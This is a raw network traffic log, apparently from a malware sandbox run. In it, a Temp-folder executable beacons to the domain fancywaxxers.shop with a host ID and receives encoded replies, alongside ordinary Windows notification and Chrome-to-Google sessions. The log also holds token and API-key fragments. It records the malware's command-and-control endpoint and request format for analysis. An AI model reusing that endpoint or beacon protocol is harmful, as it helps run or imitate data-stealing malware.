Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49823	104.21.112.1	443	6012	C:\Users\user\AppData\Local\Temp\IXP002.TMP\2z8320.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 14:21:22 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 82 Host: fancywaxxers.shop
2025-01-03 14:21:22 UTC	82	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d 26 68 77 69 64 3d 38 30 33 35 46 37 33 45 46 35 30 41 45 46 35 35 38 32 32 44 31 46 34 39 37 38 30 32 31 30 38 36 Data Ascii: act=get_message&ver=4.0&lid=PsFKDg--pablo&j=&hwid=8035F73EF50AEF55822D1F4978021086
2025-01-03 14:21:23 UTC	1129	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 14:21:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=t7mt9k0rkuusureev7v2efltlm; expires=Tue, 29 Apr 2025 08:08:02 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tGtBbYe36SLnCFelB2WaUhJQcr957BoQufJIiHBYXOWz8Zo5pk5%2FF912QbVUHBBIMuhqN5vaJFmC2pkcofMb3m%2Fe03z8%2BTCndVCEbDYSSHicaj8fYJh5o0t8ylsf5ymm5y5f0Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fc3a28a9a1d43b3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1565&min_rtt=1562&rtt_var=593&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2843&recv_bytes=983&delivery_rate=1833019&cwnd=203&unsent_bytes=0&cid=e6e87c61a6e3637f&ts=492&x=0"
2025-01-03 14:21:23 UTC	222	IN	Data Raw: 64 38 0d 0a 36 63 59 57 30 38 4c 33 46 76 4c 66 46 65 73 31 69 36 70 71 4f 65 6f 33 64 55 6e 5a 31 6c 5a 2b 62 58 61 38 43 79 55 4b 66 2f 57 79 76 54 53 6d 34 4d 30 30 6d 71 74 68 6d 77 2f 58 68 54 59 57 32 77 39 41 5a 2b 76 6e 59 31 42 63 52 34 38 6c 46 44 77 6a 32 70 71 79 63 37 4b 76 71 7a 6d 41 76 6e 75 50 57 75 61 45 44 30 47 50 46 56 6c 72 76 36 4a 30 52 46 31 61 6e 6d 34 48 4d 45 2b 49 78 62 30 30 70 75 44 4e 4e 4a 71 72 59 5a 73 50 31 34 55 32 46 74 73 50 51 47 66 72 35 32 4e 51 58 45 65 50 4a 52 51 38 49 39 71 45 72 33 69 32 6e 74 68 6b 6b 37 46 78 68 46 69 6c 7a 78 4a 63 79 42 74 58 4c 36 33 30 62 45 35 42 56 4e 6b 70 48 7a 6f 43 71 41 3d 3d 0d 0a Data Ascii: d86cYW08L3FvLfFes1i6pqOeo3dUnZ1lZ+bXa8CyUKf/WyvTSm4M00mqthmw/XhTYW2w9AZ+vnY1BcR48lFDwj2pqyc7KvqzmAvnuPWuaED0GPFVlrv6J0RF1anm4HME+Ixb00puDNNJqrYZsP14U2FtsPQGfr52NQXEePJRQ8I9qEr3i2nthkk7FxhFilzxJcyBtXL630bE5BVNkpHzoCqA==
2025-01-03 14:21:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.6	49822	40.115.3.253	443

Timestamp	Bytes transferred	Direction	Data
2025-01-03 14:21:23 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 55 4f 52 77 76 41 63 4a 76 45 6d 4d 61 46 4b 63 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 32 36 61 30 32 38 62 36 63 64 35 34 32 37 34 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: UORwvAcJvEmMaFKc.1Context: 826a028b6cd54274
2025-01-03 14:21:23 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2025-01-03 14:21:23 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 55 4f 52 77 76 41 63 4a 76 45 6d 4d 61 46 4b 63 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 32 36 61 30 32 38 62 36 63 64 35 34 32 37 34 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 61 51 67 34 62 35 38 63 53 30 56 55 49 44 6e 74 37 30 6a 74 4a 77 33 52 6f 42 41 57 50 58 6b 44 58 37 55 5a 6d 62 6f 64 76 54 4d 78 72 37 66 78 5a 4b 69 4f 57 66 37 54 33 35 6e 79 79 68 4f 6a 43 50 4b 4f 5a 36 77 65 52 54 2b 68 2f 4f 39 77 42 31 2b 76 34 56 67 63 38 31 2b 4b 70 39 62 61 69 54 69 42 54 50 67 72 70 62 45 4c 66 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: UORwvAcJvEmMaFKc.2Context: 826a028b6cd54274<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAaQg4b58cS0VUIDnt70jtJw3RoBAWPXkDX7UZmbodvTMxr7fxZKiOWf7T35nyyhOjCPKOZ6weRT+h/O9wB1+v4Vgc81+Kp9baiTiBTPgrpbELf
2025-01-03 14:21:23 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 55 4f 52 77 76 41 63 4a 76 45 6d 4d 61 46 4b 63 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 32 36 61 30 32 38 62 36 63 64 35 34 32 37 34 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: UORwvAcJvEmMaFKc.3Context: 826a028b6cd54274<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2025-01-03 14:21:23 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2025-01-03 14:21:23 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 4c 33 2b 6b 57 4c 7a 54 52 30 47 4f 45 31 6b 6c 73 38 42 48 6d 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: L3+kWLzTR0GOE1kls8BHmA.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	49914	216.58.206.68	443	7236	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 14:21:38 UTC	595	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc= Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-03 14:21:38 UTC	1266	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 14:21:38 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-UOUuwcEeTqT515ggVPTH-w' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2025-01-03 14:21:38 UTC	124	IN	Data Raw: 33 35 35 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 6b 69 6c 6c 65 72 20 77 68 61 6c 65 20 64 65 61 64 20 63 61 6c 66 22 2c 22 6d 61 72 76 65 6c 20 72 69 76 61 6c 73 20 73 65 61 73 6f 6e 20 31 20 66 61 6e 74 61 73 74 69 63 20 66 6f 75 72 22 2c 22 77 6f 72 6c 64 20 6a 75 6e 69 6f 72 73 20 68 6f 63 6b 65 79 20 63 68 61 6d 70 69 6f 6e 73 68 69 70 22 2c 22 77 61 6c 6d 61 72 74 Data Ascii: 355)]}'["",["killer whale dead calf","marvel rivals season 1 fantastic four","world juniors hockey championship","walmart
2025-01-03 14:21:38 UTC	736	IN	Data Raw: 20 62 72 6f 63 63 6f 6c 69 20 72 65 63 61 6c 6c 20 6c 69 73 74 65 72 69 61 22 2c 22 6d 6f 6e 6f 70 6f 6c 79 20 67 6f 20 66 72 69 65 6e 64 73 68 69 70 20 70 61 79 73 20 72 65 77 61 72 64 73 22 2c 22 71 75 61 64 72 61 6e 74 69 64 73 20 6d 65 74 65 6f 72 20 73 68 6f 77 65 72 73 22 2c 22 77 69 6e 74 65 72 20 73 74 6f 72 6d 20 73 6e 6f 77 20 66 6f 72 65 63 61 73 74 22 2c 22 6e 66 6c 20 6d 6f 63 6b 20 64 72 61 66 74 73 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 48 4a 6c Data Ascii: broccoli recall listeria","monopoly go friendship pays rewards","quadrantids meteor showers","winter storm snow forecast","nfl mock drafts"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJl
2025-01-03 14:21:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	49920	216.58.206.68	443	7236	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-03 14:21:38 UTC	498	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-03 14:21:38 UTC	1018	IN	HTTP/1.1 200 OK Version: 705503573 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Fri, 03 Jan 2025 14:21:38 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2025-01-03 14:21:38 UTC	372	IN	Data Raw: 31 62 61 62 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 1bab)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2025-01-03 14:21:38 UTC	1390	IN	Data Raw: 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 33 64 5c 22 30 20 30 20 32 34 20 32 34 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 Data Ascii: class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u0
2025-01-03 14:21:38 UTC	1390	IN	Data Raw: 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 Data Ascii: 003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d
2025-01-03 14:21:38 UTC	1390	IN	Data Raw: 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 71 30 2d 31 33 20 Data Ascii: ss\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810q0-13
2025-01-03 14:21:38 UTC	1390	IN	Data Raw: 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 32 30 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c Data Ascii: 1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,20c1.1,0 2,-0.9 2,
2025-01-03 14:21:38 UTC	1159	IN	Data Raw: 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 32 37 39 2c 33 37 30 30 39 34 39 2c 33 37 30 31 33 38 34 2c 31 30 32 32 37 38 32 30 35 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 5f 7c 7c 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 Data Ascii: enu-content","metadata":{"bar_height":60,"experiment_id":[3700279,3700949,3701384,102278205],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar_\|\|{};(function(_){va
2025-01-03 14:21:38 UTC	290	IN	Data Raw: 31 31 62 0d 0a 20 42 64 3b 7d 3b 5f 2e 44 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 5f 2e 43 64 28 5f 2e 68 64 2e 69 28 29 2c 61 29 7d 3b 5c 6e 7d 63 61 74 63 68 28 65 29 7b 5f 2e 5f 44 75 6d 70 45 78 63 65 70 74 69 6f 6e 28 65 29 7d 5c 6e 74 72 79 7b 5c 6e 2f 2a 5c 6e 5c 6e 20 43 6f 70 79 72 69 67 68 74 20 47 6f 6f 67 6c 65 20 4c 4c 43 5c 6e 20 53 50 44 58 2d 4c 69 63 65 6e 73 65 2d 49 64 65 6e 74 69 66 69 65 72 3a 20 41 70 61 63 68 65 2d 32 2e 30 5c 6e 2a 2f 5c 6e 76 61 72 20 47 64 3b 5f 2e 45 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 63 6f 6e 73 74 20 62 5c 75 30 30 33 64 61 2e 6c 65 6e 67 74 68 3b 69 66 28 62 5c 75 30 30 33 65 30 29 7b 63 6f 6e 73 74 20 63 5c 75 30 30 33 64 41 72 72 61 79 28 62 29 3b Data Ascii: 11b Bd;};_.Dd\u003dfunction(a){return _.Cd(_.hd.i(),a)};\n}catch(e){_._DumpException(e)}\ntry{\n/\n\n Copyright Google LLC\n SPDX-License-Identifier: Apache-2.0\n/\nvar Gd;_.Ed\u003dfunction(a){const b\u003da.length;if(b\u003e0){const c\u003dArray(b);
2025-01-03 14:21:38 UTC	1390	IN	Data Raw: 38 30 30 30 0d 0a 5d 5c 75 30 30 33 64 61 5b 64 5d 3b 72 65 74 75 72 6e 20 63 7d 72 65 74 75 72 6e 5b 5d 7d 3b 47 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 46 64 28 62 5c 75 30 30 33 64 5c 75 30 30 33 65 62 2e 73 75 62 73 74 72 28 30 2c 61 2e 6c 65 6e 67 74 68 2b 31 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 61 2b 5c 22 3a 5c 22 29 7d 3b 5f 2e 48 64 5c 75 30 30 33 64 67 6c 6f 62 61 6c 54 68 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 49 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d 74 6f 53 74 72 69 6e 67 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 69 7d 7d Data Ascii: 8000]\u003da[d];return c}return[]};Gd\u003dfunction(a){return new _.Fd(b\u003d\u003eb.substr(0,a.length+1).toLowerCase()\u003d\u003d\u003da+\":\")};_.Hd\u003dglobalThis.trustedTypes;_.Id\u003dclass{constructor(a){this.i\u003da}toString(){return this.i}}
